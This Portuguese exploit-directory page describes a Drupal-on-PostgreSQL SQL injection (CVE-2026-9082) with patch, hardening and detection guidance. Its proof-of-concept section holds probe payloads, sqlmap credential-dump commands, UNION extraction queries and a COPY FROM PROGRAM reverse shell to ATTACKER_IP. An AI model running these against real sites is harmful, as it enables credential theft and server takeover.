Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-9082 — cve poc | Kitploit
Ferramentas/GitHubGitHub/lysophavin18/cve-2026-9082
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHublysophavin18/cve-2026-9082

cve-2026-9082

cve poc

Ver Repositório
4há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9082

Tipo: Injeção de SQL (CWE-89) Produto Afetado: Drupal Core (API de Abstração de Banco de Dados) Advisory do Drupal: SA-CORE-2026-004 Publicado: 20 de maio de 2026 Severidade: Altamente Crítico (Drupal 20/25 | NVD CVSS 6.5)


O Que É?

CVE-2026-9082 é uma vulnerabilidade de Injeção de SQL na API de abstração de banco de dados do núcleo do Drupal. A camada de banco de dados do Drupal envolve o PDO e sanitiza todas as consultas antes que elas cheguem ao banco de dados. Esta vulnerabilidade contorna essa sanitização apenas para backends PostgreSQL — requisições HTTP especialmente elaboradas escapam da lógica de normalização, injetando fragmentos SQL controlados pelo atacante diretamente nas consultas ao banco de dados.

MySQL e MariaDB não são afetados pelo vetor de injeção, embora a versão de correção também inclua correções críticas de Symfony/Twig que se aplicam a todos os backends.


Versões Afetadas

Pré-requisito: O alvo deve usar PostgreSQL como backend de banco de dados.


Como Funciona (Técnico)

A camada de abstração de banco de dados do Drupal sanitiza valores por meio de consultas parametrizadas/declarações preparadas, mas depende do construtor de consultas para fornecer SQL estrutural confiável (nomes de campos, operadores, alvos de ORDER BY). O bug está na forma como o driver PostgreSQL lida com certos padrões de entrada ao construir consultas — o dialeto SQL do PostgreSQL difere do MySQL em aspectos importantes:

  • Concatenação de strings com ||
  • Conversão de tipos com ::
  • Dollar-quoting
  • Comando COPY ... FROM PROGRAM
  • Manipulação diferente de operadores

Uma requisição elaborada introduz caracteres/sequências que passam pela sanitização de valor do Drupal, mas são interpretados como SQL estrutural pelo parser do PostgreSQL. A superfície de ataque é acessível sem autenticação por meio de qualquer endpoint que passe parâmetros controlados pelo usuário para consultas ao banco de dados (busca, filtros de view, envios de formulário, JSON:API, etc.).

Cadeia de Exploração

root@kitploit:~
Attacker (unauthenticated)
  |
  |--> HTTP request with crafted parameter
  |    (e.g. search field, filter, form input)
  |
  v
Drupal DB Abstraction API
  |
  |--> Sanitization bypass (PostgreSQL-specific)
  |
  v
PostgreSQL executes injected SQL
  |
  |--> Information disclosure (dump entire DB)
  |--> Privilege escalation (inject admin credentials)
  |--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)

Por Que É Perigoso

  1. Nenhuma autenticação necessária — qualquer site Drupal exposto à internet com PostgreSQL está vulnerável
  2. Potencial de RCE — via COPY TO PROGRAM 'cmd' se o usuário do banco tiver privilégios de superusuário
  3. Acesso total ao banco de dados — contas de usuário, hashes de senha, tokens de sessão, PII
  4. Ampla faixa de versões — todo o ciclo de vida do Drupal 8/10/11
  5. Risco composto — o mesmo patch cobre SSTI do Twig; o atacante pode encadear SQLi → criação de admin → SSTI para RCE

Aviso do próprio Drupal: "explorações podem ser desenvolvidas em horas ou dias após a divulgação" (consistente com CVEs históricos da camada de banco de dados do Drupal, como SA-CORE-2014-005 / Drupalgeddon).


Prova de Conceito (Somente Testes Autorizados em Laboratório)

Passo 1: Identificar Endpoints Candidatos

root@kitploit:~
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"

Passo 2: Detectar Injeção Específica do PostgreSQL

root@kitploit:~
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"

# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"

# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"

Passo 3: Extração Automatizada (sqlmap, Testes Autorizados)

root@kitploit:~
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  --level=5 --risk=3 \
  --technique=BEUST \
  --tamper=space2comment,between \
  --dbs

# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
  --dbms=PostgreSQL \
  -D drupal -T users_field_data \
  -C name,mail,pass --dump

Passo 4: Extração Manual Baseada em UNION (Conceitual)

root@kitploit:~
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2--  -- increment until error

-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--

-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--

Passo 5: RCE via COPY TO PROGRAM (Se o Usuário do Banco = Superusuário)

root@kitploit:~
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;

-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

Mitigação

Imediato: Atualize o Drupal

root@kitploit:~
# Composer (recommended)
composer update drupal/core drupal/core-recommended

# Verify version
php core/scripts/drupal --version

# OR via Drush
drush updb && drush cr

Hardening do Banco de Dados

root@kitploit:~
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false

WAF (Solução Temporária Apenas — Não Substitui a Aplicação do Patch)

Bloqueie padrões: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--

Rede

Garanta que o PostgreSQL escute apenas em localhost ou em uma interface privada; não acessível pela internet.


Sinais de Detecção

Regra Sigma (Detecção)

root@kitploit:~
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|contains:
      - "pg_sleep"
      - "UNION+SELECT"
      - "::text"
      - "::integer"
      - "COPY+TO"
      - "%27--"
  filter:
    cs-uri-stem|contains:
      - "/search/"
      - "/views/ajax"
      - "/jsonapi/"
  condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]

Resumo

CVE-2026-9082 é uma injeção de SQL sem autenticação no Drupal Core direcionada a backends PostgreSQL. Apesar de um CVSS moderado de 6.5 na NVD, o Drupal a classifica como 20/25 (Altamente Crítico) porque acesso não autenticado + COPY TO PROGRAM do PostgreSQL = RCE direto em ambientes mal configurados. A ampla faixa de versões afetadas e as correções inclusas de SSTI do Twig tornam este um patch crítico e urgente para todos os sites Drupal, especialmente aqueles com PostgreSQL em implantações expostas à internet.

Ação recomendada: Atualize imediatamente para a versão corrigida do seu branch. Verifique se o usuário da aplicação no banco de dados não é um superusuário do PostgreSQL.

Baixar ferramenta
BranchVulnerávelCorrigida
Drupal 10.4.x / 8.9.x8.9.0–10.4.910.4.10
Drupal 10.5.x10.5.0–10.5.910.5.10
Drupal 10.6.x10.6.0–10.6.810.6.9
Drupal 11.0.x–11.1.x11.0.0–11.1.911.1.10
Drupal 11.2.x11.2.0–11.2.1111.2.12
Drupal 11.3.x11.3.0–11.3.911.3.10
OrigemSinal
Logs da webpg_sleep, ::, UNION SELECT, --, COPY PROGRAM em strings de consulta
Logs do PostgreSQLErros de sintaxe correlacionados com os timestamps das requisições web
Watchdog do DrupalExceções de banco de dados de endpoints de search/view/jsonapi
auditdpostgres gerando processos filhos (COPY TO PROGRAM)
Tabela de usuários do DrupalNovas linhas com o papel administrator e timestamps recentes